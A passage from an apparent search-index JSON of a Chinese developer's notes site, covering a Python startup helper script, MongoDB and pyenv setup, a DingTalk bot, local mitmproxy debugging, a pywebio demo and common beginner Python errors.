<p>\\u8fd9\\u4e2a\\u573a\\u666f\\u4e0b\\u5141\\u8bb8\\u5ef6\\u8fdf\\u6ca1\\u5fc5\\u8981\\u4e00\\u76f4\\u89c2\\u5bdf\\uff0c\\u53ea\\u8981\\u5361\\u4f4f\\u7684\\u65f6\\u5019\\u80fd\\u53d1\\u73b0\\u5373\\u53ef\\uff08\\u6700\\u8fdf160\\u79d2\\uff09</p> <p>\\u5f53\\u7136\\u722c\\u866b\\u4ee3\\u7801\\u9700\\u8981\\u5904\\u7406\\u5f02\\u5e38\\uff0c\\u5931\\u8d25\\u7684\\u65f6\\u5019\\u7ee7\\u7eed\\u4e0b\\u4e00\\u6b21\\u722c\\u53d6\\u6216\\u8005\\u91cd\\u8bd5\\u5373\\u53ef</p>\"},{\"location\":\"Python/#pythonstartup-pythonimport\",\"title\":\"\\u8bbe\\u7f6ePYTHONSTARTUP\\u73af\\u5883\\u53d8\\u91cf \\u542f\\u52a8Python\\u81ea\\u52a8\\u6267\\u884c\\u4e00\\u4e9bimport\",\"text\":\"<p>\\u7ecf\\u5e38\\u542f\\u52a8Python\\u5f53\\u8ba1\\u7b97\\u5668\\u7528\\uff0c\\u4f46\\u6709\\u4e9b\\u65f6\\u5019\\u4e5f\\u9700\\u8981\\u6267\\u884cquote\\u4e4b\\u7c7b\\u7684\\u51fd\\u6570\\uff0c\\u6bcf\\u6b21\\u90fd\\u8981\\u624b\\u52a8import\\u5c31\\u5f88\\u70e6</p> <p>\\u6240\\u4ee5\\u53ef\\u4ee5\\u914d\\u7f6e\\u4e00\\u4e2a\\u73af\\u5883\\u53d8\\u91cf\\u6765\\u8ba9\\u542f\\u52a8Python\\u65f6\\u81ea\\u52a8\\u6267\\u884c\\u8fd9\\u4e9bimport\\u64cd\\u4f5c</p> <p>Note</p> <p>\\u6ce8\\u610f\\u8fd9\\u4e2a\\u4e0d\\u4f1a\\u6539\\u53d8Python\\u6267\\u884c.py\\u6587\\u4ef6\\u7684\\u884c\\u4e3a\\uff0c\\u53ea\\u5728Python Interpreter\\u4e2d\\u751f\\u6548</p> <p>Windows\\u5728cmd\\u91cc\\u53ef\\u4ee5\\u7528setx\\u8bbe\\u7f6e\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u6216\\u8005\\u4f60\\u4e5f\\u53ef\\u4ee5\\u7f16\\u8f91\\u6ce8\\u518c\\u8868 <code>HKEY_CURRENT_USER\\\\Environment</code></p> <p>\\u53c2\\u8003\\uff1a http://www.dowdandassociates.com/blog/content/howto-set-an-environment-variable-in-windows-command-line-and-registry/</p> <pre><code>setx PYTHONSTARTUP d:\\\\myshell\\\\pyload.py\\n</code></pre> <p>\\u8fd9\\u4e2a\\u811a\\u672c\\u9700\\u8981\\u5feb\\u901f\\u52a0\\u8f7d\\uff0c\\u907f\\u514d\\u542f\\u52a8Python\\u592a\\u6162\\uff0c\\u6240\\u4ee5\\u4f7f\\u7528lazyload\\u6765\\u628a\\u771f\\u6b63\\u7684import\\u7559\\u5230\\u4f7f\\u7528\\u65f6\\uff1a</p> <p>\\u4f9d\\u8d56\\uff1a PYTHONUTF8=1\\u4f7f\\u5f97windows\\u7684python\\u8bfb\\u5199\\u6587\\u4ef6\\u9ed8\\u8ba4\\u4e5f\\u4f7f\\u7528UTF8</p> <pre><code>set PYTHONUTF8=1\\npip install lazy_import\\n</code></pre> <p>\\u5148\\u7b80\\u8981\\u6982\\u62ec\\u4e00\\u4e0b\\u8fd9\\u4e2a\\u811a\\u672c\\u63d0\\u4f9b\\u4e86\\u4e9b\\u5565\\uff1a</p> <pre><code>\\u6807\\u51c6\\u5e93\\uff1atime, sys, os, json, pickle, csv, requests, np(numpy), plt(matplotlib.pyplot)\\n\\u5bf9\\u8c61\\uff1aa\\u662fEasyLogin(), sess\\u662frequests.session()\\n\\u51fd\\u6570\\uff1a pload(filename, default) \\u8f7d\\u5165\\u4e00\\u4e2apickle\\u6587\\u4ef6\\npdump(filename, data) \\u5c06data\\u5199\\u5165pickle\\u6587\\u4ef6\\njload \\u7528json\\u8bfb\\u53d6\\u6587\\u4ef6\\njload \\u7528json\\u5199\\u5165\\u6587\\u4ef6\\nbd(b64_string) \\u89e3\\u7801base64\\u5b57\\u7b26\\u4e32\\uff0c\\u8fd4\\u56destr\\uff0c\\u81ea\\u52a8\\u8865\\u9f50\\u7b49\\u53f7\\uff0c\\u4e0d\\u4f1aInvalid base64-encoded string\\nhd(b16_string) hex decode \\u5c06hex\\u5b57\\u7b26\\u4e32\\u8f6c\\u4e3abytes\\nmyprint \\u663e\\u793a\\u5f53\\u524d\\u65f6\\u95f4\\u7684print\\nmd5 \\u8ba1\\u7b97\\u7ed9\\u5b9a\\u5b57\\u7b26\\u4e32\\u7684md5\\u768432\\u5b57\\u8282hex\\u5b57\\u7b26\\u4e32\\nt() int(time.time())\\nd() \\u7b49\\u4ef7\\u4e8edate -d@xxx\\uff0c\\u5c06timestamp\\u8f6c\\u4e3a\\u4eba\\u7c7b\\u53ef\\u8bfb\\u7684\\u683c\\u5f0f\\uff0c\\u4e5f\\u652f\\u6301\\u6beb\\u79d2\\u7684\\u8f93\\u5165\\n\\u7b80\\u5199\\uff1a\\njl = json.loads\\npp = pprint.pprint\\nsleep = time.sleep\\nleval = ast.literal_eval\\n</code></pre> <pre><code>import _locale\\n_locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])\\nimport time\\nfrom time import sleep\\nimport sys\\nimport json\\nimport pickle\\n\\ndef pload(filename, default=None, lib=pickle):\\n    try:\\n        res = lib.load(open(filename, \\\"rb\\\"))\\n    except:\\n        if default is None:\\n            raise\\n        return default\\n    return res\\n\\ndef pdump(filename, data, lib=pickle):\\n    open(filename, \\\"w\\\"+(\\\"b\\\" if lib==pickle else \\\"\\\")).write(lib.dumps(data))\\n\\ndef jload(filename, default=None):\\n    return pload(filename, default=default, lib=json)\\n\\ndef jdump(filename, data):\\n    return pdump(filename, data, lib=json)\\n\\nimport os\\nimport csv\\n\\nfrom urllib.parse import quote, unquote\\nfrom base64 import b64encode, b64decode, b16encode, b16decode\\n\\ndef bd(b64_string):\\n    b64_string += \\\"=\\\" * ((4 - len(b64_string) % 4) % 4)\\n    return b64decode(b64_string).decode()\\n\\njl=json.loads\\n\\ndef hd(b16_string):\\n    return b16decode(b16_string.upper())\\n\\ndef myprint(*args, **kwargs):\\n    args = list(args)\\n    args[0] = \\\"[\\\"+time.strftime(\\\"%Y-%m-%d %H:%M:%S\\\")+\\\"] \\\"+str(args[0])\\n    print(*args, **kwargs)\\n\\nimport lazy_import\\nrequests = lazy_import.lazy_module(\\\"requests\\\")\\nnumpy = np = lazy_import.lazy_module(\\\"numpy\\\")\\nplt = lazy_import.lazy_module(\\\"matplotlib.pyplot\\\")\\nel = EasyLogin = lazy_import.lazy_class(\\\"EasyLogin.EasyLogin\\\")\\npp = pprint = lazy_import.lazy_function(\\\"pprint.pprint\\\")\\nleval = lazy_import.lazy_function(\\\"ast.literal_eval\\\")\\n\\nimport hashlib\\ndef _load_hashlib(name):\\n    def f(s):\\n        if isinstance(s, str):\\n            s = bytes(s, \\\"utf-8\\\")\\n        return getattr(hashlib, name)(s).hexdigest()\\n    return f\\nmd5 = _load_hashlib(\\\"md5\\\")\\nsha1 = _load_hashlib(\\\"sha1\\\")\\nsha512 = _load_hashlib(\\\"sha512\\\")\\n\\nclass _A():\\n    def __getattr__(self, name):\\n        global a\\n        a=el()\\n        return getattr(a, name)\\na=_A()\\n\\nclass _sess():\\n    def __getattr__(self, name):\\n        global sess\\n        sess=requests.session()\\n        return getattr(sess, name)\\nsess=_sess()\\n\\ndef t():\\n    return int(time.time())\\n\\nfrom datetime import datetime, timedelta\\ndef d(ts):\\n    ts = int(ts)\\n    if len(str(ts))==13:\\n        ts = ts//1000\\n    return datetime.fromtimestamp(ts).strftime(\\\"%Y-%m-%d %H:%M:%S\\\")\\n\\ndef dutc(ts):\\n    return datetime.utcfromtimestamp(ts).strftime(\\\"%Y-%m-%d %H:%M:%S\\\")\\n</code></pre>\"},{\"location\":\"Python/#pythonmongodb\",\"title\":\"Python\\u4f7f\\u7528MongoDB\",\"text\":\"<p>\\u722c\\u53d6\\u6570\\u636eajax\\u63a5\\u53e3\\u8fd4\\u56de\\u7684\\u662fjson\\u6570\\u636e\\uff0c\\u61d2\\u5f97\\u8f6c\\u6362\\u6210mysql\\u7684\\u8868\\u793a\\uff0c\\u76f4\\u63a5\\u4e22\\u7ed9mongo\\u5457</p> <p>\\u53ef\\u89c6\\u5316\\u5ba2\\u6237\\u7aef\\u4f7f\\u7528\\u5b98\\u65b9\\u7684Compass</p>\"},{\"location\":\"Python/#server\",\"title\":\"\\u5b89\\u88c5server\",\"text\":\"<pre><code>docker run -d --name mongo -e MONGO_INITDB_ROOT_USERNAME=adminusername -e MONGO_INITDB_ROOT_PASSWORD=password -v /srv/mongo:/data/db -p 27017:27017 mongo\\n</code></pre> <p>\\u5b89\\u88c5\\u540e\\u7684\\u8fde\\u63a5\\u5b57\\u7b26\\u4e32\\u662f\\uff1a<code>mongodb://adminusername:password@ip:27017</code></p>\"},{\"location\":\"Python/#_15\",\"title\":\"\\u589e\\u5220\\u67e5\\u6539\",\"text\":\"\"},{\"location\":\"Python/#_16\",\"title\":\"\\u67e5\\u8be2\",\"text\":\"<p>\\u5d4c\\u5957\\u7684\\u683c\\u5f0f\\u7528.\\u8868\\u793a \\u4f8b\\u5982<code>{\\\"a.b\\\": \\\"1\\\"}</code>\\u53ef\\u4ee5\\u67e5\\u5230\\u6587\\u6863<code>{a:{b:\\\"1\\\"}}</code></p> <p>Python\\u4ee3\\u7801\\uff1a</p> <pre><code>import pymongo\\nclient = pymongo.MongoClient(\\\"mongodb://adminusername:password@127.0.0.1:27017\\\")\\ntable = client.database_name.table_name\\nprint(table.find_one({\\\"_id\\\": id}))\\nprint(table.count_documents({}))\\n</code></pre>\"},{\"location\":\"Python/#_17\",\"title\":\"\\u6279\\u91cf\\u589e\\u52a0\",\"text\":\"<p>insert ignore into \\u5ffd\\u7565\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\uff1a</p> <pre><code>try:\\ntable.insert_many(data, ordered=False)\\nexcept pymongo.errors.BulkWriteError:\\npass\\n</code></pre> <p>replace into \\u8986\\u76d6\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\uff1a\\u4f7f\\u7528upcert\\u4e0d\\u5b58\\u5728\\u65f6\\u63d2\\u5165</p> <pre><code>for item in data:\\n    # \\u4f60\\u5f88\\u53ef\\u80fd\\u9700\\u8981\\u81ea\\u5df1\\u5b9a\\u4e49_id\\n# item[\\\"_id\\\"] = \\\"_\\\".join([...])\\n# pprint(item)\\ntable.update({'_id':item[\\\"_id\\\"]}, item, True)\\n</code></pre>\"},{\"location\":\"Python/#_18\",\"title\":\"\\u5220\\u9664\",\"text\":\"<p>\\u7c7b\\u4f3c\\u7684\\u6709\\u51fd\\u6570\\uff1adelete_one, delete_many</p>\"},{\"location\":\"Python/#join\",\"title\":\"\\u591a\\u8868join\\u67e5\\u8be2\",\"text\":\"<p>table\\u4e2d\\u6587\\u6863\\u91cc\\u6709\\u4e00\\u4e2a\\u5c5e\\u6027idB\\uff0c\\u5bf9\\u5e94tableB\\u7684_id\\uff0c\\u4f7f\\u7528<code>$lookup</code>\\u505ajoin\\u64cd\\u4f5c\\uff0c\\u65e0\\u8bba\\u6709\\u6ca1\\u6709\\u67e5\\u5230\\u90fd\\u4f1a\\u8fd4\\u56de\\u65b0\\u7684\\u6587\\u6863\\uff0c\\u6ca1\\u67e5\\u5230\\u65f6dst\\u5c5e\\u6027\\u4e3a\\u7a7a\\u6570\\u7ec4</p> <p>\\u6240\\u4ee5\\u53ef\\u4ee5\\u7528<code>$match</code>\\u7ee7\\u7eed\\u7b5b\\u9009\\u67e5\\u5230\\u7684\\u5185\\u5bb9\\uff1b\\u7136\\u540e\\u7edf\\u8ba1\\u6570\\u91cf\\uff0c\\u6ce8\\u610f\\u5230$count\\u5728\\u6ca1\\u6709\\u7ed3\\u679c\\u7684\\u65f6\\u5019\\u4e0d\\u8fd4\\u56de\\u5185\\u5bb9\\uff0c\\u9700\\u8981\\u5355\\u72ec\\u5904\\u7406</p> <pre><code>def howmany():\\npipeline = [\\n{\\\"$match\\\": {\\\"idB\\\": {\\\"$exists\\\": True}}}, {\\\"$lookup\\\": {\\\"from\\\": 'tableB', \\\"localField\\\": 'idB', \\\"foreignField\\\": '_id', \\\"as\\\": 'dst'}},\\n{\\\"$match\\\": {\\\"dst\\\": {\\\"$size\\\": 1}}},\\n{\\\"$count\\\": \\\"cnt\\\"}\\n]\\ndata = list(table.aggregate(pipeline))\\nif not data:\\nreturn 0\\nreturn data[0][\\\"cnt\\\"]\\n</code></pre>\"},{\"location\":\"Python/#_19\",\"title\":\"\\u968f\\u673a\\u91c7\\u6837\",\"text\":\"<p>pipeline\\u4e2d\\u4f7f\\u7528\\uff1a\\u4f46\\u662f\\u6ce8\\u610f\\u53ef\\u80fd\\u4f1a\\u6709\\u91cd\\u590d\\u7684\\u5143\\u7d20 \\u9700\\u8981\\u81ea\\u5df1\\u53bb\\u91cd</p> <pre><code>{\\\"$sample\\\": {\\\"size\\\":10}}\\n</code></pre>\"},{\"location\":\"Python/#pyenvpython\",\"title\":\"\\u4f7f\\u7528pyenv\\u7f16\\u8bd1\\u5b89\\u88c5\\u4e0d\\u540c\\u7248\\u672c\\u7684Python\",\"text\":\"<p>\\u60f3\\u81ea\\u5df1\\u7ef4\\u62a4\\u4e00\\u4e2a\\u5b8c\\u6574\\u7684\\u865a\\u62df\\u73af\\u5883\\uff0c\\u65b9\\u4fbf\\u7684\\u5b89\\u88c5\\u5404\\u79cd\\u7248\\u672c\\uff0c\\u7528pyenv\\u5457</p> <p>\\u5b89\\u88c5\\uff1a</p> <pre><code>git clone https://github.com/pyenv/pyenv.git ~/.pyenv\\necho 'export PYENV_ROOT=\\\"$HOME/.pyenv\\\"' &gt;&gt; ~/.bash_profile\\necho 'export PATH=\\\"$PYENV_ROOT/bin:$PATH\\\"' &gt;&gt; ~/.bash_profile\\necho -e 'if command -v pyenv 1&gt;/dev/null 2&gt;&amp;1; then\\\\n  eval \\\"$(pyenv init -)\\\"\\\\nfi' &gt;&gt; ~/.bash_profile\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u80fd\\u7f16\\u8bd1\\u5b89\\u88c5\\u7279\\u5b9a\\u7248\\u672c\\u7684Python\\u4e86\\uff0c\\u4ee53.7.0\\u4e3a\\u4f8b\\uff1a\\u4f7f\\u7528\\u6211\\u63d0\\u4f9b\\u7684www.python.org\\u7684\\u955c\\u50cf</p> <pre><code>apt install -y libffi-dev libgnutls28-dev\\ncd ~/.pyenv/plugins\\nsed -i 's#www.python.org#py.py3.io#g' $(grep www.python.org -r . -l)\\npyenv install -v 3.7.0\\npyenv global 3.7.0\\n</code></pre> <p>\\u4e4b\\u540e\\u4f7f\\u7528\\u5982\\u679c\\u9047\\u5230\\u5bc6\\u7801\\u5b66\\u5e93\\u7684\\u95ee\\u9898\\uff1a</p> <pre><code>pip uninstall pycrypto pycryptodome\\npip install pycryptodome\\n</code></pre>\"},{\"location\":\"Python/#_20\",\"title\":\"\\u53d1\\u9001\\u9489\\u9489\\u6d88\\u606f\",\"text\":\"<p>\\u7fa4\\u804a\\u52a0\\u5165\\u673a\\u5668\\u4eba \\u5173\\u952e\\u8bcd\\u8bbe\\u7f6e\\u4e3a\\u4e00\\u5b9a\\u4f1a\\u51fa\\u73b0\\u7684\\u5b57\\u7b26\\u5982<code>.\\u3002[</code>\\uff0c\\u83b7\\u53d6url\\u540e\\u8c03\\u7528\\u65f6\\u53ea\\u9700\\u8981\\u4f20\\u5165token\\u90e8\\u5206</p> <pre><code>import requests\\ndef dingsend(token, text):\\n    data = {\\n        \\\"msgtype\\\" : \\\"text\\\" ,\\n        \\\"text\\\" : { \\\"content\\\" : text },\\n        \\\"isAtAll\\\" : False \\n    }\\n    return requests.post(\\\"https://oapi.dingtalk.com/robot/send?access_token=\\\"+token, json=data)\\n</code></pre>\"},{\"location\":\"Python/#mitmproxy\",\"title\":\"\\u4f7f\\u7528mitmproxy\",\"text\":\"<p>python3 -m pip install mitmproxy</p> <p>\\u53c2\\u8003\\uff1a https://stackoverflow.com/questions/51893788/using-mitmproxy-inside-python-script</p> <pre><code>from mitmproxy.options import Options\\nfrom mitmproxy.proxy.config import ProxyConfig\\nfrom mitmproxy.proxy.server import ProxyServer\\nfrom mitmproxy.tools.dump import DumpMaster\\n\\nimport threading\\nimport asyncio\\nimport time\\n\\nclass Addon(object):\\n    def __init__(self):\\n        self.num = 1\\n\\n    def request(self, flow):\\n        flow.request.headers[\\\"count\\\"] = str(self.num)\\n\\n    def response(self, flow):\\n        self.num = self.num + 1\\n        flow.response.headers[\\\"count\\\"] = str(self.num)\\n        print(self.num)\\n\\n\\n# see source mitmproxy/master.py for details\\ndef loop_in_thread(loop, m):\\n    asyncio.set_event_loop(loop)  # This is the key.\\n    m.run_loop(loop.run_forever)\\n\\n\\nif __name__ == \\\"__main__\\\":\\n    options = Options(listen_host='0.0.0.0', listen_port=8080, http2=True)\\n    m = DumpMaster(options, with_termlog=False, with_dumper=False)\\n    config = ProxyConfig(options)\\n    m.server = ProxyServer(config)\\n    m.addons.add(Addon())\\n\\n    # run mitmproxy in backgroud, especially integrated with other server\\n    loop = asyncio.get_event_loop()\\n    t = threading.Thread( target=loop_in_thread, args=(loop,m) )\\n    t.start()\\n\\n    # Other servers, such as a web server, might be started then.\\n    time.sleep(20)\\n    print('going to shutdown mitmproxy')\\n    m.shutdown()\\n</code></pre> <p>\\u5b89\\u88c5proxychains:</p> <pre><code>apt install proxychains4\\n</code></pre> <p>\\u4fee\\u6539/etc/proxychains.conf\\uff0c\\u6700\\u540e\\u4e00\\u884c\\u6539\\u6210<code>http 127.0.0.1 8080</code></p> <p>\\u6dfb\\u52a0\\u4fe1\\u4efb\\uff1a\\u53c2\\u8003 https://superuser.com/questions/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu</p> <pre><code>cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitm.crt\\nupdate-ca-certificates\\n</code></pre>\"},{\"location\":\"Python/#pywebioflask-markdown\",\"title\":\"pywebio+Flask \\u6784\\u5efa\\u4ea4\\u4e92\\u5f0fmarkdown\\u7f51\\u7ad9\",\"text\":\"<p>\\u6bd4\\u8f83\\u9002\\u5408\\u7b80\\u5355\\u7ebf\\u6027\\u6d41\\u7a0b\\u7684\\u5de5\\u4f5c\\uff0c\\u4f8b\\u5982\\u53d6\\u4ee3python\\u81ea\\u5e26\\u7684input\\u754c\\u9762</p> <pre><code>import sys, os\\nfrom pywebio.input import *\\nfrom pywebio.output import *\\nfrom pywebio.session import *\\nfrom pywebio.platform.flask import webio_view\\nfrom pywebio.platform import page\\nfrom flask import Flask, session, request, redirect\\n\\napp = Flask(__name__)\\n\\nset_localstorage = lambda key, value: run_js(\\\"localStorage.setItem(key, value)\\\", key=key, value=value)\\nget_localstorage = lambda key: eval_js(\\\"localStorage.getItem(key)\\\", key=key)\\n\\n@page.config(title=\\\"Application Title\\\")\\ndef index():\\n    run_js(\\\"history.replaceState({}, 'Application Title', '/index'); document.title='Application Title';\\\")\\n    clear()\\n    put_markdown(\\\"# Application Title\\\")\\n    put_text(\\\"\\\")\\n    data = input(\\\"input something:\\\")\\n    put_text(\\\"your input: \\\"+data)\\n\\napp.add_url_rule('/', 'index', webio_view(index), methods=['GET', 'POST', 'OPTIONS'])\\napp.add_url_rule('/index', 'index2', webio_view(index), methods=['GET', 'POST', 'OPTIONS'])\\n\\nimport webbrowser\\nfrom threading import Timer\\ndef open_browser():\\n    webbrowser.open_new('http://127.0.0.1:1323/')\\nif __name__ == '__main__':\\n    debug = True\\n    if \\\"win\\\" in sys.platform:\\n        Timer(1, open_browser).start()\\n        debug = False\\n    app.run(host='0.0.0.0', port=1323, debug=debug)\\n</code></pre> <p>\\u6587\\u4ef6\\u4e0a\\u4f20\\uff1a\\u4f8b\\u5982xlsx</p> <pre><code>import openpyxl, time\\n\\n    f = file_upload(\\\"\\u5bfc\\u5165\\u53f7\\u7801(\\u9700\\u8981\\u6309\\u7167\\u6a21\\u677f\\u586b\\u5199)\\\", placeholder='\\u9009\\u62e9Excel\\u6587\\u4ef6 (xlsx\\u683c\\u5f0f)', required=True, accept=\\\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\\\")\\n    wb = openpyxl.load_workbook(filename=BytesIO(f[\\\"content\\\"]), data_only=True, read_only=True)\\n    data = []\\n    for r in wb.active.rows:\\n        item = [i.value for i in r]\\n        data.append(item)\\n</code></pre> <p>\\u8f93\\u51fa\\u8868\\u683c\\uff1a</p> <pre><code>put_table(data, header=[\\\"Col1\\\", \\\"Col2\\\"])\\n</code></pre>\"},{\"location\":\"PythonCourse/\",\"title\":\"Python\\u7a0b\\u5e8f\\u8bbe\\u8ba1\\u8bfe\\u7a0b\",\"text\":\"\"},{\"location\":\"PythonCourse/#_1\",\"title\":\"\\u5148\\u672c\\u5730\\u6d4b\\u8bd5\\u80fd\\u901a\\u8fc7\\u518d\\u63d0\\u4ea4\",\"text\":\"<p>PTA\\u6ca1\\u6709\\u63d0\\u4f9b\\u8be6\\u7ec6\\u7684\\u62a5\\u9519\\uff0c\\u4f60\\u90fd\\u4e0d\\u77e5\\u9053\\u9519\\u54ea\\u4e86\\u600e\\u4e48\\u6539\\uff0c\\u5efa\\u8bae\\u4f60\\u8bd5\\u8bd5\\u672c\\u6587\\u63d0\\u5230\\u7684\\u9519\\u8bef\\uff0c\\u8bb0\\u4f4f\\u9519\\u8bef\\u4fe1\\u606f\\u4e0b\\u6b21\\u9047\\u5230\\u4e5f\\u5c31\\u4e0d\\u614c\\u4e86</p> <p>\\u672c\\u5730Python\\u8dd1\\u6210\\u529f\\u518d\\u63d0\\u4ea4\\u63d0\\u9ad8\\u6548\\u7387\\uff0c\\u7701\\u70b9\\u65f6\\u95f4</p>\"},{\"location\":\"PythonCourse/#_2\",\"title\":\"\\u5168\\u89d2\\u7684\\u7b26\\u53f7\",\"text\":\"<pre><code>a=int\\uff08input\\uff08\\uff09\\uff09\\nb=int\\uff08input\\uff08\\uff09\\uff09\\nprint(a+b)\\n</code></pre> <p>\\u62a5\\u9519\\uff1a</p> <pre><code>  File \\\"&lt;stdin&gt;\\\", line 1\\n    a=int\\uff08input\\uff08\\uff09\\uff09\\n                 ^\\nSyntaxError: invalid character in identifier\\n</code></pre> <p>\\u770b\\u51fa<code>(</code>\\u4e0e<code>\\uff08</code>\\u7684\\u533a\\u522b\\u4e86\\u561b\\uff0cPython\\u8bed\\u8a00\\u7684\\u62ec\\u53f7\\u8981\\u6c42\\u534a\\u89d2\\u7684\\u62ec\\u53f7</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a \\u5173\\u6389\\u4e2d\\u6587\\u8f93\\u5165\\u6cd5\\uff01</p>\"},{\"location\":\"PythonCourse/#input\",\"title\":\"input\\u53ea\\u8bfb\\u53d6\\u8f93\\u5165\\u7684\\u4e00\\u884c\",\"text\":\"<p>\\u770b\\u6e05\\u695a\\u9898\\u76ee\\uff0c\\u5982\\u679c\\u9898\\u76ee\\u6709\\u4e24\\u884c\\u8f93\\u5165\\uff0c\\u5c31\\u9700\\u8981\\u4e24\\u6b21input()</p> <p>\\u5982\\u679c\\u9898\\u76ee\\u53ea\\u6709\\u4e00\\u884c\\u8f93\\u5165\\uff0c\\u6bd4\\u5982\\u4e00\\u884c\\u540c\\u65f6\\u7ed9\\u4e86\\u4e24\\u4e2a\\u6570\\u7a7a\\u683c\\u5206\\u9694\\uff0c\\u4f60\\u9700\\u8981<code>input().split()</code></p>\"},{\"location\":\"PythonCourse/#map\",\"title\":\"\\u6269\\u5c55\\u4e00\\u4e0b\\uff1a\\u4f60\\u53ef\\u4ee5\\u4f7f\\u7528<code>map</code>\\u51fd\\u6570\\u6765\\u6279\\u91cf\\u8c03\\u7528\\u51fd\\u6570\",\"text\":\"<p>\\u7528\\u6cd5\\u662f<code>map(\\u76ee\\u6807\\u51fd\\u6570\\uff0c\\u5217\\u8868)</code></p> <p>\\u8fd4\\u56de \\u5217\\u8868\\u6bcf\\u4e2a\\u5143\\u7d20\\u8c03\\u7528\\u76ee\\u6807\\u51fd\\u6570\\u7684\\u7ed3\\u679c\\u7684\\u8fed\\u4ee3\\u5668 iterator\\uff0c\\u518d\\u7528list\\u53ef\\u4ee5\\u5f97\\u5230\\u5217\\u8868</p> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50\\u9898\\u76ee\\u8981\\u5728\\u4e00\\u884c\\u4e2d\\u8f93\\u5165\\u591a\\u4e2a\\u6574\\u6570</p> <pre><code># map\\u5b9e\\u9645\\u4e0a\\u8fd4\\u56de\\u7684\\u662f\\u8fed\\u4ee3\\u5668\\uff0c\\u88ab\\u8bfb\\u5230\\u7684\\u65f6\\u5019\\u624d\\u4f1a\\u771f\\u6b63\\u8c03\\u7528\\u76ee\\u6807\\u51fd\\u6570\\uff0c\\u60f3\\u5f97\\u5230\\u5217\\u8868\\u8fd8\\u9700\\u8981\\u7528list\\n&gt;&gt;&gt; map(int, input().split())\\n222 444\\n&lt;map object at 0x000001D87FB4DAC8&gt;\\n\\n&gt;&gt;&gt; list(map(int, input().split()))\\n222 444\\n[222, 444]\\n\\n&gt;&gt;&gt; a, b = map(int, input().split())\\n333 555\\n&gt;&gt;&gt; a\\n333\\n&gt;&gt;&gt; b\\n555\\n</code></pre>\"},{\"location\":\"PythonCourse/#_3\",\"title\":\"\\u4e0d\\u8981\\u8f93\\u51fa\\u4efb\\u4f55\\u591a\\u4f59\\u7684\\u63d0\\u793a\\u4fe1\\u606f\",\"text\":\"<pre><code>A=int(input('\\u88ab\\u52a0\\u6570'))\\nB=int(input('\\u52a0\\u6570'))\\nprint(A+B)\\n</code></pre> <p>PTA\\u5224\\u9898\\u5c31\\u662f\\u5224\\u65ad\\u4f60\\u7a0b\\u5e8f\\u7684\\u8f93\\u51fa\\u662f\\u5426 \\u548c\\u6807\\u51c6\\u7b54\\u6848\\u5b8c\\u5168\\u4e00\\u81f4 \\u5b8c\\u5168\\u4e00\\u81f4 \\u5b8c\\u5168\\u4e00\\u81f4</p> <p>\\u9898\\u76ee\\u6ca1\\u6709\\u8981\\u6c42\\u4f60\\u8f93\\u51fa<code>\\u88ab\\u52a0\\u6570</code>\\u8fd9\\u79cd\\u63d0\\u793a\\u4fe1\\u606f\\uff0c\\u4f60\\u5c31\\u5565\\u4e5f\\u522b\\u8f93\\u51fa\\uff0c\\u4e0d\\u8981\\u753b\\u86c7\\u6dfb\\u8db3\\uff01 </p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a \\u76f4\\u63a5input()\\u5c31\\u884c\\u4e86</p>\"},{\"location\":\"PythonCourse/#input_1\",\"title\":\"input\\u51fd\\u6570\\u8fd4\\u56de\\u7684\\u662f\\u5b57\\u7b26\\u4e32\",\"text\":\"<p>\\u522b\\u5fd8\\u4e86\\u628a\\u5b57\\u7b26\\u4e32\\u8f6c\\u6210\\u4f60\\u9700\\u8981\\u7684\\u7c7b\\u578b\\uff0c\\u6bd4\\u5982int()</p> <p>\\u5b57\\u7b26\\u4e32\\u52a0\\u5b57\\u7b26\\u4e32\\u662f\\u62fc\\u63a5\\uff0c \\u5b57\\u7b26\\u4e32\\u4e0d\\u80fd\\u548c\\u6574\\u6570\\u76f8\\u52a0</p> <pre><code>&gt;&gt;&gt; \\\"1\\\"+\\\"2\\\"\\n'12'\\n&gt;&gt;&gt; 1+2\\n3\\n&gt;&gt;&gt; \\\"1\\\"+2\\nTraceback (most recent call last):\\n  File \\\"&lt;stdin&gt;\\\", line 1, in &lt;module&gt;\\nTypeError: can only concatenate str (not \\\"int\\\") to str\\n</code></pre>\"},{\"location\":\"PythonCourse/#int-c\",\"title\":\"\\u6ce8\\u610f\\u7c7b\\u578b\\u8f6c\\u6362\\u7684int\\u662f\\u8981\\u8c03\\u7528\\u7684 \\u548cC\\u8bed\\u8a00\\u4e0d\\u4e00\\u6837\",\"text\":\"<p>\\u8fd9\\u662fC\\u8bed\\u8a00\\u7684\\u8bed\\u6cd5\\uff0cPython\\u4e0d\\u652f\\u6301</p> <pre><code>sum = (int)x + (int)y\\n</code></pre> <p>\\u5e94\\u8be5\\u5199\\uff1a</p> <pre><code>sum = int(x) + int(y)\\n</code></pre> <p>\\u53e6\\u5916 \\u4e0d\\u5efa\\u8bae\\u547d\\u540d\\u4e3asum\\uff0c\\u56e0\\u4e3asum\\u672c\\u8eab\\u662fPython\\u7684\\u5185\\u7f6e\\u51fd\\u6570 \\u4f60\\u8d4b\\u503c\\u4e86\\u5c31\\u4e0d\\u80fd\\u518d\\u8c03\\u7528\\u539f\\u6765\\u7684sum\\u51fd\\u6570\\u4e86</p> <p>\\u5982\\u679c\\u4f60\\u8986\\u76d6\\u4e86sum\\u4e4b\\u540e\\u518d\\u53bb\\u8c03\\u7528sum\\u51fd\\u6570 \\u4f1a\\u62a5\\u9519</p> <pre><code>&gt;&gt;&gt; sum=1\\n&gt;&gt;&gt; sum([1,2])\\nTraceback (most recent call last):\\n  File \\\"&lt;stdin&gt;\\\", line 1, in &lt;module&gt;\\nTypeError: 'int' object is not callable\\n</code></pre> <p>\\u4f60\\u8fd8\\u53ef\\u4ee5\\u8fd9\\u4e48\\u505a\\uff1a\\u7528map\\u548c\\u5217\\u8868\\u63a8\\u5bfc\\u5f0f</p> <pre><code>s = sum(map(int, [x,y]))\\ns = sum([int(i) for i in 